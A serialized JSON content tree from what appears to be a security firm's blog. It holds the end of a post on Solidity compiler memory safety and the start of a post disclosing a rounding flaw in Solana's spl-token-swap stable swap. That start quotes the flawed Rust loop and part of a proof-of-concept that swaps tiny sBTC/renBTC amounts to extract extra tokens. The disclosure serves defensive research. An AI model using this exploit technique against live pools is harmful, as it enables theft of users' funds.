_inlineAsm",{"type":23,"tag":141,"props":1186,"children":1187},{"style":154},[1188],{"type":29,"value":758},{"type":23,"tag":141,"props":1190,"children":1191},{"class":143,"line":180},[1192],{"type":23,"tag":141,"props":1193,"children":1194},{"style":154},[1195],{"type":29,"value":766},{"type":23,"tag":141,"props":1197,"children":1198},{"class":143,"line":205},[1199,1204],{"type":23,"tag":141,"props":1200,"children":1201},{"style":184},[1202],{"type":29,"value":1203}," setLocation",{"type":23,"tag":141,"props":1205,"children":1206},{"style":154},[1207],{"type":29,"value":1208},"(_inlineAsm);\n",{"type":23,"tag":141,"props":1210,"children":1211},{"class":143,"line":218},[1212,1216,1221,1225,1230,1234,1239,1244,1249,1254,1259,1263,1267,1271,1275,1280],{"type":23,"tag":141,"props":1213,"children":1214},{"style":148},[1215],{"type":29,"value":151},{"type":23,"tag":141,"props":1217,"children":1218},{"style":154},[1219],{"type":29,"value":1220}," (",{"type":23,"tag":141,"props":1222,"children":1223},{"style":160},[1224],{"type":29,"value":197},{"type":23,"tag":141,"props":1226,"children":1227},{"style":750},[1228],{"type":29,"value":1229},"_inlineAsm",{"type":23,"tag":141,"props":1231,"children":1232},{"style":154},[1233],{"type":29,"value":322},{"type":23,"tag":141,"props":1235,"children":1236},{"style":184},[1237],{"type":29,"value":1238},"annotation",{"type":23,"tag":141,"props":1240,"children":1241},{"style":154},[1242],{"type":29,"value":1243},"().",{"type":23,"tag":141,"props":1245,"children":1246},{"style":750},[1247],{"type":29,"value":1248},"hasMemoryEffects",{"type":23,"tag":141,"props":1250,"children":1251},{"style":160},[1252],{"type":29,"value":1253}," &&",{"type":23,"tag":141,"props":1255,"children":1256},{"style":160},[1257],{"type":29,"value":1258}," !",{"type":23,"tag":141,"props":1260,"children":1261},{"style":750},[1262],{"type":29,"value":1229},{"type":23,"tag":141,"props":1264,"children":1265},{"style":154},[1266],{"type":29,"value":322},{"type":23,"tag":141,"props":1268,"children":1269},{"style":184},[1270],{"type":29,"value":1238},{"type":23,"tag":141,"props":1272,"children":1273},{"style":154},[1274],{"type":29,"value":1243},{"type":23,"tag":141,"props":1276,"children":1277},{"style":750},[1278],{"type":29,"value":1279},"markedMemorySafe",{"type":23,"tag":141,"props":1281,"children":1282},{"style":154},[1283],{"type":29,"value":758},{"type":23,"tag":141,"props":1285,"children":1286},{"class":143,"line":227},[1287,1292,1296,1301],{"type":23,"tag":141,"props":1288,"children":1289},{"style":750},[1290],{"type":29,"value":1291}," m_context",{"type":23,"tag":141,"props":1293,"children":1294},{"style":154},[1295],{"type":29,"value":322},{"type":23,"tag":141,"props":1297,"children":1298},{"style":184},[1299],{"type":29,"value":1300},"setMemoryUnsafeInlineAssemblySeen",{"type":23,"tag":141,"props":1302,"children":1303},{"style":154},[1304],{"type":29,"value":1305},"();\n",{"type":23,"tag":141,"props":1307,"children":1308},{"class":143,"line":241},[1309,1314,1318,1322,1327,1332,1336,1340,1344,1348,1353],{"type":23,"tag":141,"props":1310,"children":1311},{"style":154},[1312],{"type":29,"value":1313}," CopyTranslate bodyCopier{",{"type":23,"tag":141,"props":1315,"children":1316},{"style":750},[1317],{"type":29,"value":1229},{"type":23,"tag":141,"props":1319,"children":1320},{"style":154},[1321],{"type":29,"value":322},{"type":23,"tag":141,"props":1323,"children":1324},{"style":184},[1325],{"type":29,"value":1326},"dialect",{"type":23,"tag":141,"props":1328,"children":1329},{"style":154},[1330],{"type":29,"value":1331},"(), m_context, ",{"type":23,"tag":141,"props":1333,"children":1334},{"style":750},[1335],{"type":29,"value":1229},{"type":23,"tag":141,"props":1337,"children":1338},{"style":154},[1339],{"type":29,"value":322},{"type":23,"tag":141,"props":1341,"children":1342},{"style":184},[1343],{"type":29,"value":1238},{"type":23,"tag":141,"props":1345,"children":1346},{"style":154},[1347],{"type":29,"value":1243},{"type":23,"tag":141,"props":1349,"children":1350},{"style":750},[1351],{"type":29,"value":1352},"externalReferences",{"type":23,"tag":141,"props":1354,"children":1355},{"style":154},[1356],{"type":29,"value":1357},"};\n",{"type":23,"tag":141,"props":1359,"children":1360},{"class":143,"line":262},[1361],{"type":23,"tag":141,"props":1362,"children":1363},{"emptyLinePlaceholder":15},[1364],{"type":29,"value":719},{"type":23,"tag":141,"props":1366,"children":1367},{"class":143,"line":271},[1368,1373,1378,1383,1387,1391,1395,1400],{"type":23,"tag":141,"props":1369,"children":1370},{"style":154},[1371],{"type":29,"value":1372}," yul::Statement modified ",{"type":23,"tag":141,"props":1374,"children":1375},{"style":160},[1376],{"type":29,"value":1377},"=",{"type":23,"tag":141,"props":1379,"children":1380},{"style":184},[1381],{"type":29,"value":1382}," bodyCopier",{"type":23,"tag":141,"props":1384,"children":1385},{"style":154},[1386],{"type":29,"value":192},{"type":23,"tag":141,"props":1388,"children":1389},{"style":750},[1390],{"type":29,"value":1229},{"type":23,"tag":141,"props":1392,"children":1393},{"style":154},[1394],{"type":29,"value":322},{"type":23,"tag":141,"props":1396,"children":1397},{"style":184},[1398],{"type":29,"value":1399},"operations",{"type":23,"tag":141,"props":1401,"children":1402},{"style":154},[1403],{"type":29,"value":1404},"());`\n",{"type":23,"tag":116,"props":1406,"children":1407},{"start":180},[1408],{"type":23,"tag":120,"props":1409,"children":1410},{},[1411],{"type":29,"value":1412},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":23,"tag":32,"props":1414,"children":1415},{},[1416],{"type":29,"value":1417},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":23,"tag":24,"props":1419,"children":1421},{"id":1420},"closing-thoughts",[1422],{"type":29,"value":1423},"Closing Thoughts",{"type":23,"tag":32,"props":1425,"children":1426},{},[1427],{"type":29,"value":1428},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":23,"tag":32,"props":1430,"children":1431},{},[1432],{"type":29,"value":1433},"It's a promise between YUL generation and optimization.",{"type":23,"tag":1435,"props":1436,"children":1439},"section",{"className":1437,"dataFootnotes":7},[1438],"footnotes",[1440,1447],{"type":23,"tag":24,"props":1441,"children":1444},{"className":1442,"id":683},[1443],"sr-only",[1445],{"type":29,"value":1446},"Footnotes",{"type":23,"tag":116,"props":1448,"children":1449},{},[1450,1487],{"type":23,"tag":120,"props":1451,"children":1453},{"id":1452},"user-content-fn-1",[1454,1456,1461,1463,1469,1471,1476,1478],{"type":29,"value":1455},"As an interesting aside, ",{"type":23,"tag":38,"props":1457,"children":1459},{"className":1458},[],[1460],{"type":29,"value":419},{"type":29,"value":1462}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":23,"tag":38,"props":1464,"children":1466},{"className":1465},[],[1467],{"type":29,"value":1468},"memory-unsafe",{"type":29,"value":1470}," code can ",{"type":23,"tag":47,"props":1472,"children":1473},{},[1474],{"type":29,"value":1475},"decrease",{"type":29,"value":1477}," gas consumption, especially in the YUL header. ",{"type":23,"tag":55,"props":1479,"children":1484},{"href":1480,"ariaLabel":1481,"className":1482,"dataFootnoteBackref":7},"#user-content-fnref-1","Back to reference 1",[1483],"data-footnote-backref",[1485],{"type":29,"value":1486},"↩",{"type":23,"tag":120,"props":1488,"children":1490},{"id":1489},"user-content-fn-2",[1491,1493,1498,1500],{"type":29,"value":1492},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":23,"tag":47,"props":1494,"children":1495},{},[1496],{"type":29,"value":1497},"guarantee",{"type":29,"value":1499}," behavior with opaque bytes. ",{"type":23,"tag":55,"props":1501,"children":1505},{"href":1502,"ariaLabel":1503,"className":1504,"dataFootnoteBackref":7},"#user-content-fnref-2","Back to reference 2",[1483],[1506],{"type":29,"value":1486},{"type":23,"tag":1508,"props":1509,"children":1510},"style",{},[1511],{"type":29,"value":1512},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":180,"depth":180,"links":1514},[1515,1516,1517,1518,1519,1520,1521],{"id":26,"depth":180,"text":30},{"id":88,"depth":180,"text":91},{"id":380,"depth":180,"text":383},{"id":83,"depth":180,"text":613},{"id":975,"depth":180,"text":978},{"id":1420,"depth":180,"text":1423},{"id":683,"depth":180,"text":1446},"markdown","content:blog:2023-07-28-solidity-compilers-memory-safety.md","content","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety","md",[1529,4053,4390,7938,12294,17415,27688,28900,29663,33892,38919,44351,45508,48999,59394,66123,67962,69672,74337,88236,90957,95746,98186,100531,106317,122137,130437,140361,145639,155032,157369],{"_path":1530,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":1531,"description":1532,"image":1533,"date":1537,"isFeatured":15,"tags":1538,"onBlogPage":15,"body":1541,"_type":1522,"_id":4050,"_source":1524,"_file":4051,"_stem":4052,"_extension":1527},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":1534,"width":1535,"height":1536},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[1539,1540],"solana","report",{"type":20,"children":1542,"toc":4044},[1543,1557,1562,1567,1575,1581,1586,1591,1599,1607,1612,1617,1625,1630,1635,2016,2026,2031,2574,2579,2587,2595,2601,2606,2611,2616,2623,2635,2640,2652,2890,2895,2900,2906,2911,2916,2962,2967,2975,2980,2985,2990,3135,3148,3261,3275,3283,3297,3305,3318,3323,3335,3343,3365,3983,3987,3992,4005,4018,4025,4030,4035,4040],{"type":23,"tag":32,"props":1544,"children":1545},{},[1546,1548,1555],{"type":29,"value":1547},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":23,"tag":55,"props":1549,"children":1552},{"href":1550,"rel":1551},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[59],[1553],{"type":29,"value":1554},"spl-token-swap",{"type":29,"value":1556},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":23,"tag":32,"props":1558,"children":1559},{},[1560],{"type":29,"value":1561},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":23,"tag":32,"props":1563,"children":1564},{},[1565],{"type":29,"value":1566},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":23,"tag":32,"props":1568,"children":1569},{},[1570],{"type":23,"tag":47,"props":1571,"children":1572},{},[1573],{"type":29,"value":1574},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":23,"tag":24,"props":1576,"children":1578},{"id":1577},"discovery",[1579],{"type":29,"value":1580},"Discovery",{"type":23,"tag":32,"props":1582,"children":1583},{},[1584],{"type":29,"value":1585},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":23,"tag":32,"props":1587,"children":1588},{},[1589],{"type":29,"value":1590},"After a while, he noticed something weird..",{"type":23,"tag":355,"props":1592,"children":1593},{},[1594],{"type":23,"tag":32,"props":1595,"children":1596},{},[1597],{"type":29,"value":1598},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":23,"tag":131,"props":1600,"children":1602},{"code":1601},"KwnjUuZ : 0 9vMJfxu -> 1 EPjFWdd\nKwnjUuZ : 1 EPjFWdd -> 2 9vMJfxu\nKwnjUuZ : 2 9vMJfxu -> 3 EPjFWdd\nHU1tejU : 3 EPjFWdd -> 625 PRT88Rk\n24ZbKS3 : 625 PRT88Rk -> 7 EPjFWdd\n3oRPcFa : 7 EPjFWdd -> 6 BQcdHdA\n",[1603],{"type":23,"tag":38,"props":1604,"children":1605},{"__ignoreMap":7},[1606],{"type":29,"value":1601},{"type":23,"tag":32,"props":1608,"children":1609},{},[1610],{"type":29,"value":1611},"Somehow, we were getting tokens from nothing?",{"type":23,"tag":32,"props":1613,"children":1614},{},[1615],{"type":29,"value":1616},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":23,"tag":131,"props":1618,"children":1620},{"code":1619},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[1621],{"type":23,"tag":38,"props":1622,"children":1623},{"__ignoreMap":7},[1624],{"type":29,"value":1619},{"type":23,"tag":32,"props":1626,"children":1627},{},[1628],{"type":29,"value":1629},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":23,"tag":32,"props":1631,"children":1632},{},[1633],{"type":29,"value":1634},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":23,"tag":131,"props":1636,"children":1640},{"code":1637,"language":1638,"meta":7,"className":1639,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n if y_new == y {\n break;\n } else {\n y = y_new;\n }\n }\n","rust","language-rust shiki shiki-themes slack-dark",[1641],{"type":23,"tag":38,"props":1642,"children":1643},{"__ignoreMap":7},[1644,1652,1685,1718,1821,1926,1952,1964,1981,2001,2009],{"type":23,"tag":141,"props":1645,"children":1646},{"class":143,"line":144},[1647],{"type":23,"tag":141,"props":1648,"children":1649},{"style":443},[1650],{"type":29,"value":1651}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":141,"props":1653,"children":1654},{"class":143,"line":180},[1655,1660,1665,1670,1675,1680],{"type":23,"tag":141,"props":1656,"children":1657},{"style":449},[1658],{"type":29,"value":1659}," let",{"type":23,"tag":141,"props":1661,"children":1662},{"style":449},[1663],{"type":29,"value":1664}," mut",{"type":23,"tag":141,"props":1666,"children":1667},{"style":750},[1668],{"type":29,"value":1669}," y",{"type":23,"tag":141,"props":1671,"children":1672},{"style":160},[1673],{"type":29,"value":1674}," =",{"type":23,"tag":141,"props":1676,"children":1677},{"style":750},[1678],{"type":29,"value":1679}," d_val",{"type":23,"tag":141,"props":1681,"children":1682},{"style":154},[1683],{"type":29,"value":1684},";\n",{"type":23,"tag":141,"props":1686,"children":1687},{"class":143,"line":205},[1688,1693,1698,1703,1708,1713],{"type":23,"tag":141,"props":1689,"children":1690},{"style":148},[1691],{"type":29,"value":1692}," for",{"type":23,"tag":141,"props":1694,"children":1695},{"style":750},[1696],{"type":29,"value":1697}," _",{"type":23,"tag":141,"props":1699,"children":1700},{"style":449},[1701],{"type":29,"value":1702}," in",{"type":23,"tag":141,"props":1704,"children":1705},{"style":472},[1706],{"type":29,"value":1707}," 0",{"type":23,"tag":141,"props":1709,"children":1710},{"style":160},[1711],{"type":29,"value":1712},"..",{"type":23,"tag":141,"props":1714,"children":1715},{"style":154},[1716],{"type":29,"value":1717},"ITERATIONS {\n",{"type":23,"tag":141,"props":1719,"children":1720},{"class":143,"line":218},[1721,1726,1730,1735,1739,1744,1749,1753,1757,1762,1766,1771,1776,1780,1784,1789,1794,1799,1803,1808,1812,1817],{"type":23,"tag":141,"props":1722,"children":1723},{"style":449},[1724],{"type":29,"value":1725}," let",{"type":23,"tag":141,"props":1727,"children":1728},{"style":154},[1729],{"type":29,"value":1220},{"type":23,"tag":141,"props":1731,"children":1732},{"style":750},[1733],{"type":29,"value":1734},"y_new",{"type":23,"tag":141,"props":1736,"children":1737},{"style":154},[1738],{"type":29,"value":480},{"type":23,"tag":141,"props":1740,"children":1741},{"style":750},[1742],{"type":29,"value":1743},"_",{"type":23,"tag":141,"props":1745,"children":1746},{"style":154},[1747],{"type":29,"value":1748},") ",{"type":23,"tag":141,"props":1750,"children":1751},{"style":160},[1752],{"type":29,"value":1377},{"type":23,"tag":141,"props":1754,"children":1755},{"style":154},[1756],{"type":29,"value":1220},{"type":23,"tag":141,"props":1758,"children":1759},{"style":184},[1760],{"type":29,"value":1761},"checked_u8_power",{"type":23,"tag":141,"props":1763,"children":1764},{"style":154},[1765],{"type":29,"value":192},{"type":23,"tag":141,"props":1767,"children":1768},{"style":160},[1769],{"type":29,"value":1770},"&",{"type":23,"tag":141,"props":1772,"children":1773},{"style":750},[1774],{"type":29,"value":1775},"y",{"type":23,"tag":141,"props":1777,"children":1778},{"style":154},[1779],{"type":29,"value":480},{"type":23,"tag":141,"props":1781,"children":1782},{"style":472},[1783],{"type":29,"value":1049},{"type":23,"tag":141,"props":1785,"children":1786},{"style":154},[1787],{"type":29,"value":1788},")",{"type":23,"tag":141,"props":1790,"children":1791},{"style":160},[1792],{"type":29,"value":1793},"?.",{"type":23,"tag":141,"props":1795,"children":1796},{"style":184},[1797],{"type":29,"value":1798},"checked_add",{"type":23,"tag":141,"props":1800,"children":1801},{"style":154},[1802],{"type":29,"value":192},{"type":23,"tag":141,"props":1804,"children":1805},{"style":750},[1806],{"type":29,"value":1807},"c",{"type":23,"tag":141,"props":1809,"children":1810},{"style":154},[1811],{"type":29,"value":1788},{"type":23,"tag":141,"props":1813,"children":1814},{"style":160},[1815],{"type":29,"value":1816},"?",{"type":23,"tag":141,"props":1818,"children":1819},{"style":154},[1820],{"type":29,"value":758},{"type":23,"tag":141,"props":1822,"children":1823},{"class":143,"line":227},[1824,1829,1834,1838,1843,1847,1851,1855,1859,1863,1867,1871,1875,1879,1884,1888,1892,1897,1901,1906,1910,1914,1918,1922],{"type":23,"tag":141,"props":1825,"children":1826},{"style":160},[1827],{"type":29,"value":1828}," .",{"type":23,"tag":141,"props":1830,"children":1831},{"style":184},[1832],{"type":29,"value":1833},"checked_ceil_div",{"type":23,"tag":141,"props":1835,"children":1836},{"style":154},[1837],{"type":29,"value":192},{"type":23,"tag":141,"props":1839,"children":1840},{"style":184},[1841],{"type":29,"value":1842},"checked_u8_mul",{"type":23,"tag":141,"props":1844,"children":1845},{"style":154},[1846],{"type":29,"value":192},{"type":23,"tag":141,"props":1848,"children":1849},{"style":160},[1850],{"type":29,"value":1770},{"type":23,"tag":141,"props":1852,"children":1853},{"style":750},[1854],{"type":29,"value":1775},{"type":23,"tag":141,"props":1856,"children":1857},{"style":154},[1858],{"type":29,"value":480},{"type":23,"tag":141,"props":1860,"children":1861},{"style":472},[1862],{"type":29,"value":1049},{"type":23,"tag":141,"props":1864,"children":1865},{"style":154},[1866],{"type":29,"value":1788},{"type":23,"tag":141,"props":1868,"children":1869},{"style":160},[1870],{"type":29,"value":1793},{"type":23,"tag":141,"props":1872,"children":1873},{"style":184},[1874],{"type":29,"value":1798},{"type":23,"tag":141,"props":1876,"children":1877},{"style":154},[1878],{"type":29,"value":192},{"type":23,"tag":141,"props":1880,"children":1881},{"style":750},[1882],{"type":29,"value":1883},"b",{"type":23,"tag":141,"props":1885,"children":1886},{"style":154},[1887],{"type":29,"value":1788},{"type":23,"tag":141,"props":1889,"children":1890},{"style":160},[1891],{"type":29,"value":1793},{"type":23,"tag":141,"props":1893,"children":1894},{"style":184},[1895],{"type":29,"value":1896},"checked_sub",{"type":23,"tag":141,"props":1898,"children":1899},{"style":154},[1900],{"type":29,"value":192},{"type":23,"tag":141,"props":1902,"children":1903},{"style":750},[1904],{"type":29,"value":1905},"d_val",{"type":23,"tag":141,"props":1907,"children":1908},{"style":154},[1909],{"type":29,"value":1788},{"type":23,"tag":141,"props":1911,"children":1912},{"style":160},[1913],{"type":29,"value":1816},{"type":23,"tag":141,"props":1915,"children":1916},{"style":154},[1917],{"type":29,"value":1788},{"type":23,"tag":141,"props":1919,"children":1920},{"style":160},[1921],{"type":29,"value":1816},{"type":23,"tag":141,"props":1923,"children":1924},{"style":154},[1925],{"type":29,"value":1684},{"type":23,"tag":141,"props":1927,"children":1928},{"class":143,"line":241},[1929,1933,1938,1943,1947],{"type":23,"tag":141,"props":1930,"children":1931},{"style":148},[1932],{"type":29,"value":233},{"type":23,"tag":141,"props":1934,"children":1935},{"style":750},[1936],{"type":29,"value":1937}," y_new",{"type":23,"tag":141,"props":1939,"children":1940},{"style":160},[1941],{"type":29,"value":1942}," ==",{"type":23,"tag":141,"props":1944,"children":1945},{"style":750},[1946],{"type":29,"value":1669},{"type":23,"tag":141,"props":1948,"children":1949},{"style":154},[1950],{"type":29,"value":1951}," {\n",{"type":23,"tag":141,"props":1953,"children":1954},{"class":143,"line":262},[1955,1960],{"type":23,"tag":141,"props":1956,"children":1957},{"style":148},[1958],{"type":29,"value":1959}," break",{"type":23,"tag":141,"props":1961,"children":1962},{"style":154},[1963],{"type":29,"value":1684},{"type":23,"tag":141,"props":1965,"children":1966},{"class":143,"line":271},[1967,1972,1977],{"type":23,"tag":141,"props":1968,"children":1969},{"style":154},[1970],{"type":29,"value":1971}," } ",{"type":23,"tag":141,"props":1973,"children":1974},{"style":148},[1975],{"type":29,"value":1976},"else",{"type":23,"tag":141,"props":1978,"children":1979},{"style":154},[1980],{"type":29,"value":1951},{"type":23,"tag":141,"props":1982,"children":1983},{"class":143,"line":293},[1984,1989,1993,1997],{"type":23,"tag":141,"props":1985,"children":1986},{"style":750},[1987],{"type":29,"value":1988}," y",{"type":23,"tag":141,"props":1990,"children":1991},{"style":160},[1992],{"type":29,"value":1674},{"type":23,"tag":141,"props":1994,"children":1995},{"style":750},[1996],{"type":29,"value":1937},{"type":23,"tag":141,"props":1998,"children":1999},{"style":154},[2000],{"type":29,"value":1684},{"type":23,"tag":141,"props":2002,"children":2003},{"class":143,"line":801},[2004],{"type":23,"tag":141,"props":2005,"children":2006},{"style":154},[2007],{"type":29,"value":2008}," }\n",{"type":23,"tag":141,"props":2010,"children":2011},{"class":143,"line":810},[2012],{"type":23,"tag":141,"props":2013,"children":2014},{"style":154},[2015],{"type":29,"value":299},{"type":23,"tag":32,"props":2017,"children":2018},{},[2019,2024],{"type":23,"tag":47,"props":2020,"children":2021},{},[2022],{"type":29,"value":2023},"approximate",{"type":29,"value":2025},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":23,"tag":32,"props":2027,"children":2028},{},[2029],{"type":29,"value":2030},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":23,"tag":131,"props":2032,"children":2034},{"code":2033,"language":1638,"meta":7,"className":1639,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n // create swap transaction\n let mut swap_instruction = swap(\n &spl_token::id(),\n &swap_pubkey,\n &swap_authority_pubkey,\n &test_account_signer.pubkey(),\n &sbtc_user_account,\n &sbtc_reserve,\n &renbtc_reserve,\n &renbtc_user_account,\n &admin_fee_account_sbtc_to_ren,\n 1,\n 2\n ).unwrap();\n\n // nonce\n swap_instruction.data.append(&mut vec![i, extranonce]);\n\n let mut instructions = vec![];\n\n instructions.push(swap_instruction);\n\n env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[2035],{"type":23,"tag":38,"props":2036,"children":2037},{"__ignoreMap":7},[2038,2046,2086,2094,2124,2152,2169,2185,2210,2226,2242,2258,2274,2290,2302,2311,2333,2341,2350,2419,2427,2457,2465,2497,2505,2565],{"type":23,"tag":141,"props":2039,"children":2040},{"class":143,"line":144},[2041],{"type":23,"tag":141,"props":2042,"children":2043},{"style":443},[2044],{"type":29,"value":2045},"// from sbtc to renbtc\n",{"type":23,"tag":141,"props":2047,"children":2048},{"class":143,"line":180},[2049,2054,2059,2063,2067,2072,2077,2082],{"type":23,"tag":141,"props":2050,"children":2051},{"style":148},[2052],{"type":29,"value":2053},"for",{"type":23,"tag":141,"props":2055,"children":2056},{"style":750},[2057],{"type":29,"value":2058}," i",{"type":23,"tag":141,"props":2060,"children":2061},{"style":449},[2062],{"type":29,"value":1702},{"type":23,"tag":141,"props":2064,"children":2065},{"style":472},[2066],{"type":29,"value":1707},{"type":23,"tag":141,"props":2068,"children":2069},{"style":160},[2070],{"type":29,"value":2071}," ..",{"type":23,"tag":141,"props":2073,"children":2074},{"style":472},[2075],{"type":29,"value":2076}," 50",{"type":23,"tag":141,"props":2078,"children":2079},{"style":725},[2080],{"type":29,"value":2081},"u8",{"type":23,"tag":141,"props":2083,"children":2084},{"style":154},[2085],{"type":29,"value":1951},{"type":23,"tag":141,"props":2087,"children":2088},{"class":143,"line":205},[2089],{"type":23,"tag":141,"props":2090,"children":2091},{"style":443},[2092],{"type":29,"value":2093}," // create swap transaction\n",{"type":23,"tag":141,"props":2095,"children":2096},{"class":143,"line":218},[2097,2101,2105,2110,2114,2119],{"type":23,"tag":141,"props":2098,"children":2099},{"style":449},[2100],{"type":29,"value":1659},{"type":23,"tag":141,"props":2102,"children":2103},{"style":449},[2104],{"type":29,"value":1664},{"type":23,"tag":141,"props":2106,"children":2107},{"style":750},[2108],{"type":29,"value":2109}," swap_instruction",{"type":23,"tag":141,"props":2111,"children":2112},{"style":160},[2113],{"type":29,"value":1674},{"type":23,"tag":141,"props":2115,"children":2116},{"style":184},[2117],{"type":29,"value":2118}," swap",{"type":23,"tag":141,"props":2120,"children":2121},{"style":154},[2122],{"type":29,"value":2123},"(\n",{"type":23,"tag":141,"props":2125,"children":2126},{"class":143,"line":227},[2127,2132,2137,2142,2147],{"type":23,"tag":141,"props":2128,"children":2129},{"style":160},[2130],{"type":29,"value":2131}," &",{"type":23,"tag":141,"props":2133,"children":2134},{"style":154},[2135],{"type":29,"value":2136},"spl_token",{"type":23,"tag":141,"props":2138,"children":2139},{"style":160},[2140],{"type":29,"value":2141},"::",{"type":23,"tag":141,"props":2143,"children":2144},{"style":184},[2145],{"type":29,"value":2146},"id",{"type":23,"tag":141,"props":2148,"children":2149},{"style":154},[2150],{"type":29,"value":2151},"(),\n",{"type":23,"tag":141,"props":2153,"children":2154},{"class":143,"line":241},[2155,2159,2164],{"type":23,"tag":141,"props":2156,"children":2157},{"style":160},[2158],{"type":29,"value":2131},{"type":23,"tag":141,"props":2160,"children":2161},{"style":750},[2162],{"type":29,"value":2163},"swap_pubkey",{"type":23,"tag":141,"props":2165,"children":2166},{"style":154},[2167],{"type":29,"value":2168},",\n",{"type":23,"tag":141,"props":2170,"children":2171},{"class":143,"line":262},[2172,2176,2181],{"type":23,"tag":141,"props":2173,"children":2174},{"style":160},[2175],{"type":29,"value":2131},{"type":23,"tag":141,"props":2177,"children":2178},{"style":750},[2179],{"type":29,"value":2180},"swap_authority_pubkey",{"type":23,"tag":141,"props":2182,"children":2183},{"style":154},[2184],{"type":29,"value":2168},{"type":23,"tag":141,"props":2186,"children":2187},{"class":143,"line":271},[2188,2192,2197,2201,2206],{"type":23,"tag":141,"props":2189,"children":2190},{"style":160},[2191],{"type":29,"value":2131},{"type":23,"tag":141,"props":2193,"children":2194},{"style":750},[2195],{"type":29,"value":2196},"test_account_signer",{"type":23,"tag":141,"props":2198,"children":2199},{"style":160},[2200],{"type":29,"value":322},{"type":23,"tag":141,"props":2202,"children":2203},{"style":184},[2204],{"type":29,"value":2205},"pubkey",{"type":23,"tag":141,"props":2207,"children":2208},{"style":154},[2209],{"type":29,"value":2151},{"type":23,"tag":141,"props":2211,"children":2212},{"class":143,"line":293},[2213,2217,2222],{"type":23,"tag":141,"props":2214,"children":2215},{"style":160},[2216],{"type":29,"value":2131},{"type":23,"tag":141,"props":2218,"children":2219},{"style":750},[2220],{"type":29,"value":2221},"sbtc_user_account",{"type":23,"tag":141,"props":2223,"children":2224},{"style":154},[2225],{"type":29,"value":2168},{"type":23,"tag":141,"props":2227,"children":2228},{"class":143,"line":801},[2229,2233,2238],{"type":23,"tag":141,"props":2230,"children":2231},{"style":160},[2232],{"type":29,"value":2131},{"type":23,"tag":141,"props":2234,"children":2235},{"style":750},[2236],{"type":29,"value":2237},"sbtc_reserve",{"type":23,"tag":141,"props":2239,"children":2240},{"style":154},[2241],{"type":29,"value":2168},{"type":23,"tag":141,"props":2243,"children":2244},{"class":143,"line":810},[2245,2249,2254],{"type":23,"tag":141,"props":2246,"children":2247},{"style":160},[2248],{"type":29,"value":2131},{"type":23,"tag":141,"props":2250,"children":2251},{"style":750},[2252],{"type":29,"value":2253},"renbtc_reserve",{"type":23,"tag":141,"props":2255,"children":2256},{"style":154},[2257],{"type":29,"value":2168},{"type":23,"tag":141,"props":2259,"children":2260},{"class":143,"line":824},[2261,2265,2270],{"type":23,"tag":141,"props":2262,"children":2263},{"style":160},[2264],{"type":29,"value":2131},{"type":23,"tag":141,"props":2266,"children":2267},{"style":750},[2268],{"type":29,"value":2269},"renbtc_user_account",{"type":23,"tag":141,"props":2271,"children":2272},{"style":154},[2273],{"type":29,"value":2168},{"type":23,"tag":141,"props":2275,"children":2276},{"class":143,"line":839},[2277,2281,2286],{"type":23,"tag":141,"props":2278,"children":2279},{"style":160},[2280],{"type":29,"value":2131},{"type":23,"tag":141,"props":2282,"children":2283},{"style":750},[2284],{"type":29,"value":2285},"admin_fee_account_sbtc_to_ren",{"type":23,"tag":141,"props":2287,"children":2288},{"style":154},[2289],{"type":29,"value":2168},{"type":23,"tag":141,"props":2291,"children":2292},{"class":143,"line":848},[2293,2298],{"t